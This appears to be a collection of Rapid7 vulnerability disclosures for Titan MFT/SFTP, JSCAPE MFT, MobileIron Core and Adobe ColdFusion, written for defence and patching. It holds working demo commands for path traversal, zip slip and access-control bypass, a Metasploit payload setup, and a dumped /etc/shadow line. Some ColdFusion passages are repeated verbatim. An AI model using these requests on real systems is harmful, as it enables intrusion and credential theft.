Multiple Vulnerabilities in South River Technologies Titan MFT and Titan SFTP [FIXED]

As part of our continuing research project into managed file transfer risk, including JSCAPE MFT and Fortra Globalscape EFT Server, Rapid7 discovered several vulnerabilities in South River Technologies’ Titan MFT and Titan SFTP servers. Although these require unusual circumstances or non-default configurations, as well as a valid user login, the consequences of exploitation can lead to remote superuser access to the affected host.

Products

Titan MFT and Titan SFTP are business-grade Managed File Transfer (MFT) servers that provide enterprise-class, high-availability failover and clustering. They are very similar products with a similar code base, although Titan MFT has some extra features such as WebDAV.

We confirmed that these issues affect Titan MFT and Titan SFTP versions 2.0.16.2277 and 2.0.17.2298 (earlier versions are also affected, per the vendor). All issues listed below affect the Linux version, and some additionally affect the Windows version (we will note which platforms are affected by which issues).

Discoverer

These issues were discovered by Ron Bowes of Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

South River Technologies is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Impact

Successful exploitation of several of these issues grants an attacker remote code execution as the root or SYSTEM user; however, all issues are post-authentication and require non-default configurations and are therefore unlikely to see widescale exploitation.

Vulnerabilities

CVE-2023-45685: Authenticated Remote Code Execution via "zip slip"

Titan MFT and Titan SFTP have a feature where .zip files can be automatically extracted when they are uploaded over any supported protocol. Files within the .zip archive are not validated for path traversal characters; as a result, an authenticated attacker can upload a .zip file containing a filename such as ../../file, which will be extracted outside the user's home directory. This affects both Linux and Windows servers, but we will use Linux as an example of how this might be exploited.

If an attacker can write a file to anywhere on a Linux file system, they can leverage that to gain remote access to the target host in several different ways:

  • Overwrite /root/.ssh/authorized_keys with an attacker's SSH key, allowing them to log in to an interactive session
  • Upload a script to /etc/cron.hourly that will execute code at some point in the future
  • Upload a script to /etc/profile.d that will execute next time a user logs in to the Linux host
  • Overwrite a system binary (such as /bin/bash) with a backdoored version

This vulnerability is mitigated in two different ways:

  1. This is a non-default feature, so an administrator would have had to configure it before a server is vulnerable
  2. Exploitation requires a user to have an account with permission to upload files

Demo

A so-called "zip slip" is a common class of vulnerability, and an example file can be created using a Metasploit module (note that this is a generic module which writes an ELF file containing an executable payload):

msf6 > use exploit/multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

msf6 exploit(multi/fileformat/zip_slip) > set FTYPE zip
FTYPE => zip

msf6 exploit(multi/fileformat/zip_slip) > set FILENAME test.zip
FILENAME => test.zip

msf6 exploit(multi/fileformat/zip_slip) > show options

msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../root/testzipslip
TARGETPAYLOADPATH => ../../../../../../../root/testzipslip

msf6 exploit(multi/fileformat/zip_slip) > exploit

[+] test.zip stored at /home/ron/.msf4/local/test.zip
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../../root/testzipslip

Then upload it with any protocol that the user has access to (HTTP, FTP, WebDAV, SFTP):

$ ncftp -u 'testuser' -p 'b' 10.0.0.68
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.0.0.68...                                                                                          
TitanMFT 2.0.16.2277 Ready.
Logging in...                                                                                                       
Welcome testuser from 10.0.0.227. You are now logged in to the server.
Logged in to 10.0.0.68.                                                                                             
ncftp / > put ~/.msf4/local/test.zip
/home/ron/.msf4/local/test.zip:                        331.00 B    7.92 kB/s  

And verify that it extracts outside of the user's home directory:

$ ssh root@10.0.0.68 ls /root
testzipslip

Note that the payload generated by Metasploit is an ELF file by default; however, using this technique, any file can be uploaded to any location on the file system.

CVE-2023-45686: Authenticated Remote Code Execution via WebDAV Path Traversal

The WebDAV handler does not validate the path specified by the user. That means that the user can write files outside of their home directory by adding ../ characters to the WebDAV URL. Successful exploitation permits an authenticated attacker to write an arbitrary file to anywhere on the file system, leading to remote code execution.

WebDAV is not enabled by default, so an administrator would have had to enable WebDAV for a target to be vulnerable. This also doesn't affect Titan SFTP, which doesn't support the WebDAV protocol; additionally, as far as we can tell, this only affects the Linux version of Titan MFT.

Demo

The curl utility with the PUT verb can be used to upload a file (note that --path-as-is is required, otherwise curl will normalize the path and remove the ../ portion of the URL):

$ curl -i -X PUT -u testuser:b --data-binary 'hi' --path-as-is http://10.0.0.68:8080/../../../../../../../../../root/testwebdav
HTTP/1.1 201 Created
Set-Cookie: SRTSessionId=NV7pXyEHw9bdkofCLp3dI5wMq96N7iLD; Path=/; Expires=2023-Sep-25 10:09:14 GMT; HttpOnly
Connection: close
Server: SRT WebDAV Server
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Accept-Ranges: bytes
ETag: "8F434346648F6B96DF89DDA901C5176B10A6D83961DD3C1AC88B59B2DC327AA4"

We can verify the file is written from an SSH session:

$ ssh root@10.0.0.68 ls /root/
testwebdav

CVE-2023-45687: Session Fixation on Remote Administration Server

When an administrator authenticates to the remote administration server's API using an Authorization header (HTTP basic or digest authentication) and sets a SRTSession header value to a value known by an attacker (including the literal string null), the session token is granted privileges that the attacker can use. For example, the following request would make the string "test" into a valid session token:

$ curl -u ron:myfakepassword -ik -H 'Srtsessionid: test' 'https://10.0.0.68:41443/WebApi/Process'

We originally identified this as an authentication bypass, but later realized (from discussing it with the vendor) that the Srtsessionid value must match on the client and server, and the likelihood of getting an administrator to set an arbitrary header is exceedingly low. This affects both the Linux and Windows versions of the software, although the exploit path for Windows would be different than the Linux path we discuss below.

If an attacker can either steal a session token or trick an administrator into authorizing an arbitrary session token, the administrative access can be used to write an arbitrary file to the file system using the following steps (on Linux):

  • Create a new user with an arbitrary home folder (eg, /root/.ssh)
  • Log in to one of the file-upload services, such as FTP, using that account
  • Upload a file, such a authorized_keys

Since the service runs as root, this lets an attacker upload or download any file. We implemented a proof of concept that demonstrates how an attacker can achieve remote code execution on a target system by abusing administrator-level access.

CVE-2023-45688: Information Disclosure via Path Traversal on FTP

The SIZE command on FTP doesn't properly sanitize path traversal characters, which permits an authenticated user to get the size of any file on the file system. This requires an account that can log in via the FTP protocol, and appears to only affect the Linux versions of Titan MFT and Titan SFTP.

Demo

You can test this with the netcat utility:

$ nc 10.0.0.69 21
220 TitanMFT 2.0.17.2298 Ready.
USER test 
331 User name okay, need password.
PASS a
230 Welcome test from 10.0.0.227. You are now logged in to the server.
SIZE ../../../../../../../etc/shadow
213 1050
SIZE ../../../../../../../etc/hostname
213 7
SIZE ../../../../../../../etc/nosuchfile
550 No such file or directory

In that example, the attacker can determine that /etc/shadow is 1050 bytes, /etc/hostname is 7 bytes, and /etc/nosuchfile doesn't exist.

CVE-2023-45689: Information Disclosure via Path Traversal in Admin Interface

Using the MxUtilFileAction model, an administrator can retrieve and delete files from anywhere on the file system by using ../ sequences in their path. Both Linux and Windows servers are affected by this issue. Note that administrators have full access to the host's file system using other techniques, so this is a very minor issue.

Demo

Note: This requires a valid session id (in the example below, 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB):

$ curl -iks -H 'Content-Type: application/json' -H 'Srtsessionid: 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB' --data-binary '[{"Model":"MxUtilFileAction","ServerGUID":"db2112ad-0000-0000-0000-100000000001","Action":"l","Data":{"action":"d","fileList":["/var/southriver/srxserver/logs/Local Administration Server/../../../../../etc/shadow"],"domainLogs":true}}]' 'https://10.0.0.68:41443/WebApi/Process'
HTTP/2 200 
content-type: application/x-msdownload
date: Tue, 19 Sep 2023 21:02:07 GMT
content-length: 1155
strict-transport-security: max-age=2592000
content-security-policy: base-uri 'self';
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
referrer-policy: origin
content-disposition: attachment; filename=shadow; filename*=UTF-8''shadow

root:$6$7oOiiC2AyTA6p7LG$mmvUvQYTSN/E9DBfOOGldok6gd6iP8G7SeR20Va30JYCKPp14gzMhmOUrw3o0t6erwwemssYgjcDGqYI/jOWA0:19619:0:99999:7:::
[...]

CVE-2023-45690: Information Leak via World-Readable Database + Logs

Password hashes appear in world-readable files, including databases and log files. Non-root accounts with access to the host can use those files to upgrade their privileges to root. Since shell access is required before this can be leveraged, this vulnerability is fairly minor, but we believe that local privilege escalation issues are still important to address.

You can use the strings utility to examine the database file as any user account (they can also be loaded in sqlite3):

ron@titan:~$ strings /var/southriver/srxserver/database/srxdbDB2112AD555500000000100000000001.db | grep -o '"PasswordHash":"[^"]*"'
"PasswordHash":"5267768822EE624D48FCE15EC5CA79CBD602CB7F4C2157A516556991F22EF8C7B5EF7B18D1FF41C59370EFB0858651D44A936C11B7B144C48FE04DF3C6A3E8DA"
"PasswordHash":"72A8D535781681A613D4F8ED06192020AFDA3B1B6C3C48A392FFAB2DF033D23F791BB6CCBE3B134B4A721BFE1CFE6CD06581CA74EAAEE5343CCD70DC3115F984"
"PasswordHash":"57E38B3A0621901EC5C64FA1864A5D16E17CE4DDF9CD084E4E72D0EEEC2D270353D033C972E5B5C646422B56F7EAA11FD54BAAC0A19F6A20CC8D93DF6063DB30"

You can also export logs with journalctl as any user:

ron@titan2:~$ journalctl -u titanmft.service  | grep 'stored hash'
Sep 26 22:28:36 titan2 srxserver[3526]: 2023-09-26 22:28:36 [Info/-/007] Validated incoming user against stored hash [7632AC9FECE0727899598E82E1601669F76D1D2AB75F33AE6A57D21060E22DB93E9D267155909E7EC5EECA20382A18D5D246A4CCAF64466D16974124BA0EC22F] and the result is True
Sep 26 22:34:02 titan2 srxserver[3526]: 2023-09-26 22:34:02 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:15 titan2 srxserver[3526]: 2023-09-26 22:34:15 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:48 titan2 srxserver[3526]: 2023-09-26 22:34:48 [Info/-/061] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True

Mitigation Guidance

According to South River Technologies, the issues in this disclosure can be remediated by applying vendor-supplied patches to upgrade to version 2.0.18 of Titan SFTP or Titan MFT. Additionally, these issues can be mitigated by configuring Titan SFTP or Titan MFT service to not run under the Local System account but to instead use a specific Windows or Linux user account that has limited privileges.

Timeline

  • September, 2023 - Rapid7 discovers the vulnerabilities
  • September 28, 2023 - Rapid7 finds a security contact and reports the issues
  • September 28, 2023 - Vendor acknowledges our report
  • September 30, 2023 - Vendor let us know that the majority of the issues are resolved
  • October 11, 2023 - Discussed and agreed on a disclosure date of October 16, 2023
  • October 16, 2023 - This coordinated disclosure (including this blog and all vendor artifacts)
CVE-2023-4528: Java Deserialization Vulnerability in JSCAPE MFT (Fixed)

In August 2023, Rapid7 discovered a Java deserialization vulnerability in Redwood Software’s JSCAPE MFT secure managed file transfer product. The vulnerability was later assigned CVE-2023-4528. It can be exploited by sending an XML-encoded Java object to the Manager Service port, which, by default, is TCP port 10880 (over SSL). Successful exploitation can run arbitrary Java code as the root on Linux or the SYSTEM user on Windows. CVE-2023-4528 is trivial to exploit if an attacker has network-level access to the management port and the Manager Service is enabled (which is the default). We strongly recommend taking the server down (or disabling the Manager Service) until it can be patched.

Product description

CVE-2023-4528 affects all versions of JSCAPE MFT Server prior to version 2023.1.9 on all platforms (Windows, Linux, and MacOS). See the JSCAPE advisory for more information.

Discoverer

This issue was discovered by Ron Bowes of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

CVE-2023-4528 has been addressed in JSCAPE version 2023.1.9 which is now available for customer deployment. JSCAPE customers have been notified and our support teams are available 24/7 to assist. Redwood appreciates the collaboration with Rapid7 and our cybersecurity partners. For more information, please see: https://www.jscape.com/blog/binary-management-service-patch-cve-2023-4528

Impact

Successful exploitation executes arbitrary Java code as the Linux root or Windows SYSTEM user. The most likely attack vector will run Java code such as java.lang.Runtime.getRuntime().exec("...shell command...");, but it's also possible to create a Java-only payload to avoid executing another process (and therefore wouldn’t be as easily detectable).

Once an attacker executes code at that level, they have full control of the system. They can steal data, pivot to attack other network devices, remove evidence of the intrusion, establish persistence, and anything else they choose. Notably, there appear to be very few (if any) instances of JSCAPE MFT Server with their management ports exposed to the internet, which significantly reduces attackers’ ability to reach the affected service.

Indicators of compromise

Successful exploitation will be evident in log files. The Windows log file is C:\program files\MFT Server\var\log\server0.log, and Linux is /opt/mft_server/var/log/server0.log. Any warning or error messages that reference "Management connection" should be investigated — in particular, class casting exceptions such as:

08.22.2023 15:56:51 [WARNING] Management connection error: [10.0.0.77:10880 <-> 10.0.0.227:40085].
com.jscape.util.net.connection.Connection$ConnectionException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	at com.jscape.util.net.connection.Connection$ConnectionException.wrap(Unknown Source)
	at com.jscape.util.net.connection.SyncMessageConnectionSyncRawBase.read(Unknown Source)
	at com.jscape.util.net.connection.AsyncMessageConnectionSyncRawBase.readNextMessage(Unknown Source)
	at com.jscape.util.net.connection.AsyncMessageConnectionSyncRawBase.run(Unknown Source)
	at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539)
	at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	at java.base/java.lang.Thread.run(Thread.java:833)
Caused by: java.io.IOException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	at com.jscape.util.at.b(Unknown Source)
	at com.jscape.util.az.a(Unknown Source)
	at com.jscape.inet.mftserver.adapter.management.protocol.a.a(Unknown Source)
	at com.jscape.inet.mftserver.adapter.management.protocol.a.read(Unknown Source)
	... 8 more
Caused by: java.lang.ClassCastException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	... 10 more

The server expects a Message class, and the exploit sends a different class such as java.lang.Runtime, which fails and creates an error message.

Note that a more cleverly written exploit may not be this obvious in log files.

Remediation

Rapid7 recommends that JSCAPE MFT Server customers immediately upgrade their instance(s) of MFT Server to version 2023.1.9 (upgrade documentation from Redwood Software here).

JSCAPE MFT customers should also close port 10880 to the public internet, ensuring that external/public access to the binary management service port (typically 10880) that is used by JSCAPE command line utilities is blocked. Settings for this port can be found in the administrative interface under Settings > Manager Service > Manager Service.

As a temporary mitigation before applying the patch, administrators can block access to the Management Service. On the configuration page (http://[server]:11880/settings/settings), either change the Host/IP option on the Manager Service page to 127.0.0.1. Alternatively, under the Access tab, set up an IP filter (or block all IP addresses). Rapid7 validated that both options work.

For more information, see Redwood Software’s advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2023-4528 with a vulnerability check expected to be available in the September 7 content release.

Timeline

  • August 22, 2023: Rapid7 discovers the vulnerability
  • August 23, 2023: Rapid7 reports the vulnerability to Redwood Software
  • August 24, 2023 - September 6, 2023: Rapid7 and Redwood Software discuss patching and disclosure timelines
  • September 7, 2023: This disclosure

Overview

CVE-2023-35082 - MobileIron Core Unauthenticated API Access Vulnerability

While investigating CVE-2023-35078, a critical API access vulnerability in Ivanti Endpoint Manager Mobile and MobileIron Core that was exploited in the wild, Rapid7 discovered a new vulnerability that allows unauthenticated attackers to access the API in older unsupported versions of MobileIron Core (11.2 and below). Rapid7 reported this vulnerability to Ivanti on July 26, 2023 and we are now disclosing it in accordance with our vulnerability disclosure policy. The new vulnerability has been assigned CVE-2023-35082.

Since CVE-2023-35082 arises from the same place as CVE-2023-35078, specifically the permissive nature of certain entries in the mifs web application’s security filter chain, Rapid7 would consider this new vulnerability a patch bypass for CVE-2023-35078 as it pertains to version 11.2 and below of the product. For additional context on CVE-2023-35078 and its impact, see Rapid7’s emergent threat response blog here and our AttackerKB assessment of the vulnerability.

Product Description

Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, is a management platform that allows an organization to manage mobile devices such as phones and tablets; enforcing content and application policies on these devices. The product was previously called MobileIron Core, and was rebranded to Endpoint Manager Mobile after Ivanti acquired MobileIron in 2020.

Versions 11.8 and above of the product are Endpoint Manager Mobile. The version of the product Rapid7 determined was vulnerable to CVE-2023-35082 is MobileIron Core. Ivanti told Rapid7 that CVE-2023-35082 affects the following versions of the product:

  • MobileIron Core 11.2 and below

Ivanti's advisory for CVE-2023-35082 is here.

Credit

This issue was discovered by Stephen Fewer, a Principal Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor Statement

We are grateful to Rapid7 for their discovery of an issue in MobileIron Core 11.2, a version which went out of support on March 15, 2022. The issue is also present in prior versions of the product which are out of support. We will not be providing any remediation for this vulnerability as the issue was incidentally resolved as a product bug in MobileIron Core 11.3 and had not previously been identified as a vulnerability. We are actively working with our customers to upgrade to the latest version of Ivanti Endpoint Manager Mobile (EPMM) or migrate to the cloud version of the product, Ivanti Neurons for MDM.

The security of our customers is Ivanti’s top priority, and we regularly provide updates to the supported versions of our solutions to protect customers from new and emerging threats. We are upholding our commitment to deliver and maintain secure products, and investing significant resources to ensure that all our solutions continue to meet our own high standards.

Impact

CVE-2023-35082 allows a remote unauthenticated attacker to access the API endpoints on an exposed management server. An attacker can use these API endpoints to perform a multitude of operations as outlined in the official API documents, including the ability to disclose personally identifiable information (PII) and perform modifications to the platform. Additionally, should a separate vulnerability be present in the API, an attacker can chain these vulnerabilities together. For example, CVE-2023-35081 could be chained with CVE-2023-35082 to allow an attacker write malicious webshell files to the appliance, which may then be executed by the attacker.

Exploitation

In our testing of CVE-2023-35078, we had access to MobileIron Core version 11.2.0.0-31. After reproducing the original vulnerability, we proceeded to apply Ivanti’s hotfix ivanti-security-update-1.0.0-1.noarch.rpm as per the Ivanti Knowledge Base article 000087042. We verified that the hotfix does successfully remediate CVE-2023-35078. However, we found a variation of the same attack that enables a remote attacker to access the API endpoints without authentication.

First we installed MobileIron Core 11.2.0.0-31 and verified we could leverage CVE-2023-35078 to access an API endpoint unauthenticated. Note the inclusion of the /aad/ segment in the URL path to exploit the original vulnerability, CVE-2023-35078.

c:\> curl -k https://192.168.86.103/mifs/aad/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

We then installed the vendor-supplied hotfix ivanti-security-update-1.0.0-1.noarch.rpm. After we rebooted the system, we verified the hotfix prevents the original exploit request shown above.

c:\> curl -k https://192.168.86.103/mifs/aad/api/v2/ping
<html>
<body>
        <h2>HTTP Status 403 - Access is denied</h2>
        <h3>You are unauthorized to access this page.</h3>
</body>
</html>

However, a variation of the above request is still able to access the API endpoints without authentication, as shown below. Note the use of /asfV3/ in the URL path in place of the original exploit’s use of /aad/.

c:\> curl -k https://192.168.86.103/mifs/asfV3/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

Indicators of Compromise

The following indicators of compromise are present in the Apache HTTP logs stored on the appliance.

The log file /var/log/httpd/https-access_log will have an entry showing a request to a targeted API endpoint, containing /mifs/asfV3/api/v2/ in the path with a HTTP response code of 200. Blocked exploitation attempts will show an HTTP response code of either 401 or 403. For example:

192.168.86.34:61736 - - 2023-07-28--15-24-51 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 200 68 "-" "curl/8.0.1" 3285

Similarly, the log file /var/log/httpd/https-request_log will have an entry showing a request to a targeted API endpoint containing /mifs/asfV3/api/v2/ in the path. For example:

2023-07-28--15-24-51 192.168.86.34 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 68 "-" "curl/8.0.1"

Note that log entries containing /mifs/asfV3/api/v2/ in the path indicate exploitation of CVE-2023-35082, whilst log entries containing /mifs/aad/api/v2/ in the path indicate exploitation of CVE-2023-35078.

Remediation

MobileIron Core customers who are running unsupported versions of the product, including versions affected by CVE-2023-35082 (MobileIron Core 11.2 and below), should upgrade to a supported version as soon as possible.

Timeline

  • July 26, 2023: Rapid7 sends disclosure information to Ivanti security.
  • July 28, 2023: Rapid7 contacts Ivanti via a second channel to confirm receipt of disclosure information. Ivanti confirms initial disclosure was not received. Rapid7 resends disclosure documents. Ivanti confirms receipt.
  • July 28, 2023: Ivanti confirms findings.
  • July 31, 2023: Ivanti confirms a security advisory will be published, requests a call with Rapid7 to address what they consider inaccuracies in our disclosure.
  • August 1, 2023: Rapid7 and Ivanti discuss the two vulnerabilities (CVE-2023-35078, CVE-2023-35082). Rapid7 agrees to update this disclosure with points of clarification to highlight Ivanti’s perspective. Rapid7 also agrees to clarify product terminology (i.e., that CVE-2023-35082 only affects MobileIron Core, not later versions of the product which were renamed Endpoint Manager Mobile).
  • August 2, 2023: This disclosure.
CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

On July 11, 2023, Rapid7 and Adobe disclosed CVE-2023-29298, an access control bypass vulnerability affecting ColdFusion, which Rapid7 had reported to Adobe in April 2023. The vulnerability allows an attacker to bypass the product feature that restricts external access to the ColdFusion Administrator. Rapid7 and Adobe believed that CVE-2023-29298 was fixed upon publishing our coordinated disclosure (Rapid7 explicitly noted in our disclosure that we had not tested the patch Adobe released).

Upon review of the patch for CVE-2023-29298 as found in ColdFusion 2021 Update 8 (2021.0.08.330144), Rapid7 discovered that the patch released on July 11 does not successfully remediate the original issue and can be bypassed by an attacker. Adobe assigned CVE-2023-38205 to the patch bypass and has issued a complete fix as of July 19, 2023.

Rapid7 has observed exploitation of CVE-2023-29298 in the wild in multiple customer environments; our team published a blog with observations and guidance for customers on July 17. We have validated that the new patch released July 19 fully remediates the issue.

Affected products

The following products are vulnerable to CVE-2023-38205:

  • Adobe ColdFusion 2023 Update 2 and earlier
  • Adobe ColdFusion 2021 Update 8 and earlier
  • Adobe ColdFusion 2018 Update 18 and earlier

Credit

This issue was discovered by Stephen Fewer, a Principal Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor Statement

Adobe provided the following statement to Rapid7:
"Adobe recommends updating ColdFusion installations to the latest release. Please see APSB23-47 for more information. Adobe is aware that CVE-2023-38205 has been exploited in the wild in limited attacks targeting Adobe ColdFusion."

The July 11 patch for CVE-2023-29298 modifies the vulnerable method IPFilterUtils.checkAdminAccess to use a new helper method Utils.canonicalizeURI to transform a URL into its canonical form before performing the access control, as shown below.

  private static final String[] RESTRICTED_INTERNAL_PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager", "/cfide/lockdown" };


  public static void checkAdminAccess(HttpServletRequest req) {
    String uri = Utils.getServletPath(req);
    uri = Utils.canonicalizeURI(uri.toLowerCase()); // <----
    for (String restrictedPath : RESTRICTED_INTERNAL_PATHS) {
      if (uri.startsWith(restrictedPath)) {
        String ip = req.getRemoteAddr();
        if (!isAllowedIP(ip))
          throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
        break;
      }
    }
  }


The method Utils.canonicalizeURI attempts to remove sequences of characters such as duplicate forward slashes, double dot notation and redundant dot path segments in a URLs path, as shown below.

  public static String canonicalizeURI(String uri) {
    if (uri == null || uri.length() == 0)
      return uri;
    uri = uri.replace('\\', '/');
    uri = trimDuplicateSlashes(uri);
    uri = collapseDotDots(uri); // <----
    uri = trimTrailingDotsSpacesNull(uri);
    if (uri.charAt(0) == '.')
      uri = uri.substring(1);
    uri = substitute(uri, "/./", "/");
    if (uri.endsWith("/."))
      uri = uri.substring(0, uri.length() - 2);
    if (uri.length() == 0)
      uri = "/";
    return uri;
  }

Of note is the method Utils.collapseDotDots, which will remove all path segments that contain a double dot along with the preceding path segment. For example, if a URL path has the string “/hello/../world/” then the method Utils.collapseDotDots would correctly transform this string into “/world/” by deleting the character sequence “/hello/..” via a call to StringBuffer.delete as shown below.

  public static String collapseDotDots(String str) {
    if (str.indexOf("/..") == -1)
      return str;
    StringBuffer sb = new StringBuffer(str);
    int i;
    while ((i = str.indexOf("/..")) != -1) {
      int segmentStart = str.lastIndexOf('/', i - 1);
      sb.delete(segmentStart, i + 3); // <----
      str = sb.toString();
    }
    if (str.length() == 0)
      str = "/";
    return str;
  }  

The method Utils.canonicalizeURI attempts to remove sequences of characters such as duplicate forward slashes, double dot notation and redundant dot path segments in a URLs path, as shown below.

  public static String canonicalizeURI(String uri) {
    if (uri == null || uri.length() == 0)
      return uri;
    uri = uri.replace('\\', '/');
    uri = trimDuplicateSlashes(uri);
    uri = collapseDotDots(uri); // <----
    uri = trimTrailingDotsSpacesNull(uri);
    if (uri.charAt(0) == '.')
      uri = uri.substring(1);
    uri = substitute(uri, "/./", "/");
    if (uri.endsWith("/."))
      uri = uri.substring(0, uri.length() - 2);
    if (uri.length() == 0)
      uri = "/";
    return uri;
  }

Of note is the method `Utils.collapseDotDots`, which will remove all path segments that contain a double dot along with the preceding path segment. For example, if a URL path has the string `“/hello/../world/”` then the method `Utils.collapseDotDots` would correctly transform this string into `“/world/”` by deleting the character sequence `“/hello/..”` via a call to `StringBuffer.delete` as shown below.

  public static String collapseDotDots(String str) {
    if (str.indexOf("/..") == -1)
      return str;
    StringBuffer sb = new StringBuffer(str);
    int i;
    while ((i = str.indexOf("/..")) != -1) {
      int segmentStart = str.lastIndexOf('/', i - 1);
      sb.delete(segmentStart, i + 3); // <----
      str = sb.toString();
    }
    if (str.length() == 0)
      str = "/";
    return str;
  }  

While the above is correct, it exposes an issue in how ColdFusion handles ColdFusion Modules (CFM) and ColdFusion Component (CFC) endpoints when resolving a path to the endpoint. If an attacker accesses a URL path of “/hax/..CFIDE/wizards/common/utils.cfc” the access control can be bypassed and the expected endpoint can still be reached, even though it is not a valid URL path (Note, there is no expected forward slash after the double dot and before CFIDE).

Upon processing this path, the method Utils.collapseDotDots will transform the path to “cfide/wizards/common/utils.cfc” by removing the double dot path segment and the preceding segment “/hax/..”. The path “cfide/wizards/common/utils.cfc” will not be matched against any of the restricted paths in RESTRICTED_INTERNAL_PATHS during IPFilterUtils.checkAdminAccess because it no longer begins with a leading forward slash. This bypasses the access control. However, the underlying Servlet will still process the path “/hax/..CFIDE/wizards/common/utils.cfc”, allowing the expected CFC endpoint to be called. The same is true for CFM endpoints.

Exploitation

The following was tested on Adobe ColdFusion 2021 Update 8 (2021.0.08.330144) running on Windows Server 2022 and configured with the Production and Secure profiles.

We can demonstrate the patch bypass by using the cURL command. For example when attempting to perform a remote method call wizardHash on the /CFIDE/wizards/common/utils.cfc endpoint, the following cURL command can be used — note the use of double dot notation as highlighted below:

Note: The ampersand (&) has been escaped with a caret (^) as this example is run from Windows, on Linux you must escape the ampersand with a forward slash (\).

c:\> curl -ivk --path-as-is http://172.25.25.0:8500/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

We can see that both the access control and the patch for CVE-2023-29298 have been bypassed and the request completed successfully.

Remediation

Adobe released a fix for this vulnerability on July 19, 2023. The following versions remediate the issue, per Adobe’s advisory:

  • Adobe ColdFusion 2023 Update 3
  • Adobe ColdFusion 2021 Update 9
  • Adobe ColdFusion 2018 Update 19

Since Rapid7 has observed exploitation in the wild, we strongly recommend ColdFusion customers update to the latest versions as soon as possible, without waiting for a typical patch cycle to occur.

Timeline

  • April 11 through July 10, 2023: Rapid7 discloses CVE-2023-29298 to Adobe, Rapid7 and Adobe coordinate disclosure
  • July 11, 2023: Rapid7 and Adobe disclose CVE-2023-29298 publicly
  • July 13 - 15, 2023: Rapid7 detects exploitation of Adobe ColdFusion in the wild, determines attackers are leveraging an exploit chain that ends in remote code execution
  • July 17, 2023: Rapid7 warns customers of ColdFusion exploitation in the wild. Rapid7 discovers the patch for CVE-2023-29298 can be bypassed and informs Adobe. Adobe notifies Rapid7 of their intent to fix the patch bypass.
  • July 18, 2023: Further coordinationJuly 19, 2023: This disclosure.
CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Rapid7 discovered an access control bypass vulnerability affecting Adobe ColdFusion, in a product feature designed to restrict external access to the ColdFusion Administrator. Rapid7 reported this vulnerability to Adobe on April 11, 2023 and we are now disclosing it in accordance with our vulnerability disclosure policy.

The access control feature establishes an allow list of external IP addresses that are permitted to access the ColdFusion Administrator endpoints on a ColdFusion web server. When a request originates from an external IP address that is not present in the allow list, access to the requested resource is blocked. This access control forms part of the recommended configuration for production environments, as described during installation of the product:

“Production Profile + Secure Profile: Use this profile for a highly-secure production deployment that will allow a more fine-grained secure environment. For details, see the secure profile guide http://www.adobe.com/go/cf_secureprofile.”

Alternatively, an installation that is not configured with the Secure Profile may manually configure the access control post installation.
The vulnerability allows an attacker to access the administration endpoints by inserting an unexpected additional forward slash character in the requested URL.

Product description

Adobe ColdFusion is a commercial application server for web application development. ColdFusion supports a proprietary markup language for building web applications and integrating into many external components, such as databases and third party libraries.

